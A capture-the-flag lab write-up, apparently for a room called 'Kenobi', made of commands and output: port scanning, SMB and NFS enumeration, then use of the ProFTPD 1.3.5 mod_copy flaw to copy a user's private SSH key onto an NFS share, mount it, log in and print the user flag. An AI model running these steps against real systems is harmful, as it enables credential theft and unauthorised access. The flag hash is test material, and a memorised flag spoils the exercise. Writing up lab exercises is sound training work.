Kenobi
IP TARGET
10.10.230.29
IP ATTACKER
10.21.171.239
Nmap
nmap -A $TARGET -T4 -p- --oN nmap.txt
Starting Nmap 7.93 ( <https://nmap.org> ) at 2025-10-02 21:31 CEST
Nmap scan report for 10.10.230.29
Host is up (0.033s latency).
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 56ebe031da7754fc24f5f7de531d0f3c (RSA)
| 256 68871d60c5af7c4bb571b022a932eac1 (ECDSA)
|_ 256 715a078d878b931f70b4ae9efa53c9e0 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 44229/tcp mountd
| 100005 1,2,3 52902/udp6 mountd
| 100005 1,2,3 55941/tcp6 mountd
| 100005 1,2,3 56546/udp mountd
| 100021 1,3,4 34041/tcp nlockmgr
| 100021 1,3,4 34331/tcp6 nlockmgr
| 100021 1,3,4 35087/udp6 nlockmgr
| 100021 1,3,4 36355/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
2049/tcp open nfs_acl 3 (RPC #100227)
34041/tcp open nlockmgr 1-4 (RPC #100021)
44229/tcp open mountd 1-3 (RPC #100005)
45125/tcp open mountd 1-3 (RPC #100005)
54363/tcp open mountd 1-3 (RPC #100005)
SMB Enumeration
enum4linux-ng -A -R -u " " -p " " -v $TARGET
[+] Found 3 share(s):
IPC$:
comment: IPC Service (kenobi server (Samba, Ubuntu))
type: IPC
anonymous:
comment: ''
type: Disk
print$:
comment: Printer Drivers
type: Disk
[+] Found user 'KENOBI\nobody' (RID 501)
]Found user 'Unix User\kenobi' (RID 1000)
+] Found user 'Unix User\ubuntu' (RID 1001)
smbmap -H $TARGET
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - [email protected]
<https://github.com/ShawnDEvans/smbmap>
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] IP: 10.10.230.29:445 Name: 10.10.230.29 Status: NULL Session
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
anonymous READ ONLY
IPC$ NO ACCESS IPC Ser
smbclient //$TARGET/anonymous
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 4 12:49:09 2019
.. D 0 Sat Aug 9 15:03:22 2025
log.txt N 12237 Wed Sep 4 12:49:09 2019
9183416 blocks of size 1024. 2918864 blocks available
smb: \> mget *
cat log.txt
*Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):*
NFS Enumeration
#showmount -e ip-address-cible - lister les montages NFS de la cible
showmount -e $TARGET
Export list for 10.10.230.29:
/var *
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.230.29
Starting Nmap 7.93 ( <https://nmap.org> ) at 2025-10-02 22:12 CEST
Nmap scan report for 10.10.230.29
Host is up (0.048s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /var
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 .
| ?????????? ? ? ? ? ..
| rwxr-xr-x 0 0 4096 2025-10-02T19:56:59 backups
| rwxr-xr-x 0 0 4096 2025-08-10T06:48:58 cache
| rwxrwxrwt 0 0 4096 2019-09-04T08:43:56 crash
| rwxrwsr-x 0 50 4096 2016-04-12T20:14:23 local
| rwxrwxrwx 0 0 9 2019-09-04T08:41:33 lock
| rwxrwxr-x 0 108 4096 2025-10-02T19:30:41 log
| rwxr-xr-x 0 0 4096 2025-08-09T13:38:21 snap
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www
|_
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /var 9183416.0 5774012.0 2918808.0 67% 16.0T 32000
| nfs-showmount:
|_ /var *
exegol-thm /workspace # searchsploit proftpd 1.3.5
----------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasp | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/49908.py
----------------------------------------------------- -----------------------
- Utilisation de la faille “mod_copy” pour copier la clé privée de kenobi dans le /var exposé en NFS
telnet $TARGET 21
Trying 10.10.230.29...
Connected to 10.10.230.29.
Escape character is '^]'.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.230.29]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa_kenobi
250 Copy successful
mount $TARGET:/var /workspace/kenobi #mount du /var dans /kenobi
cp /workspace/kenobi/tmp/id_rsa_kenobi /workspace/id_rsa_kenobi # on récupère la clé ssh
chmod 600 id_rsa_kenobi
ssh -i id_rsa_kenobi kenobi@$TARGET
kenobi@kenobi:~$ id
uid=1000(kenobi) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
kenobi@kenobi:~$ ls
share user.txt
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899